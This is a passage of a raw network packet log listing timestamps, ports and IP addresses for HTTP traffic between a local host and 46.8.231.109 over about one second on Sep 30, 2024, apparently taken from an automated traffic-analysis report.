Sep 30, 2024 12:22:54.954021931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954031944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954055071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954087019 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954109907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954121113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954134941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954144955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954145908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954158068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954166889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954171896 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954201937 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954315901 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954325914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954340935 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954350948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954364061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954364061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954375982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954384089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954386950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954396963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954399109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954415083 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954426050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954427958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954447031 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954458952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954469919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954472065 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954480886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954490900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954498053 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954526901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954658985 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954694033 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954703093 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954704046 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954714060 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954725981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954732895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954746008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954771042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954792976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954803944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954814911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954828978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954837084 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.954869986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955051899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955061913 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955073118 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955092907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955120087 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955138922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955148935 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955159903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955169916 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955183029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955195904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955214024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955267906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955303907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955336094 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955365896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955375910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955396891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955415010 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955416918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955432892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955432892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955441952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955451012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955452919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955462933 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955466986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955482960 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955485106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955495119 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955504894 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955507994 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955534935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955549002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955559969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955590963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955652952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955689907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955703020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955712080 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955739975 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955832005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955866098 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955868959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955904007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955923080 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955960035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955972910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.955974102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955990076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.955991030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956001997 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956011057 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956042051 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956064939 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956075907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956095934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956108093 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956110001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956124067 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956124067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956139088 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956149101 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956151009 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.956171036 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.956196070 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962496042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962543964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962548018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962558031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962579966 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962589979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962618113 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962649107 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962671995 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962687016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962687969 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962701082 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962702990 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962726116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962733030 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962744951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962759018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962779999 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962794065 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962796926 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962821007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962845087 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962852001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962866068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962877989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962882042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962899923 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962915897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962944984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.962979078 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.962991953 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963005066 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963021040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963027954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963041067 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963041067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963054895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963056087 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963068008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963083982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963092089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963110924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963126898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963140011 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963545084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963557959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963576078 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963587999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963596106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963608027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963613987 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963634968 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963637114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963650942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963654041 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963666916 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963689089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963809013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963834047 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963845015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963851929 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963859081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963860989 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963880062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963898897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.963963032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963974953 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963989019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.963992119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.964003086 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.964018106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.964019060 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.964031935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.964054108 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034470081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034532070 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034544945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034555912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034559011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034584999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034595013 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034611940 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034626961 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034658909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034718037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034730911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034766912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034931898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034967899 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.034981012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.034995079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.035029888 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.035046101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.035058975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.035073042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.035087109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.035089016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.035101891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.035129070 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044276953 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044289112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044332981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044346094 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044377089 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044392109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044405937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044409037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044420004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044433117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044435024 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044447899 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044449091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044471979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044476032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044498920 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044517994 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044553041 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044578075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044595003 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044608116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044739962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044760942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044773102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044774055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044792891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044792891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044806957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.044811964 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044826031 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044831991 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.044989109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045077085 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045089960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045103073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045116901 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045116901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045125008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045130014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045144081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045146942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045157909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045171022 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045198917 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045200109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045259953 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045295000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045315027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045331001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045334101 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045345068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045346975 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045358896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045372963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045372963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045386076 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045398951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045422077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045551062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045563936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045597076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045600891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045615911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045629978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045646906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045646906 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045660973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045661926 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045686007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045705080 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045881033 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045895100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045912027 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045912981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045929909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045936108 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045948029 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045949936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045964003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045964956 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045979023 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.045981884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.045995951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046001911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046014071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046015978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046026945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046049118 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046076059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046088934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046122074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046123981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046137094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046150923 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046152115 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046165943 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046185970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046188116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046200037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046216011 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046231031 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046637058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046710968 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046725035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046739101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046741962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046751976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046762943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046773911 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046776056 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046785116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046785116 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046808958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046822071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.046838045 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.046858072 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.047394037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047410965 CEST	80	52540	46.8.231.109	192.168.2.4
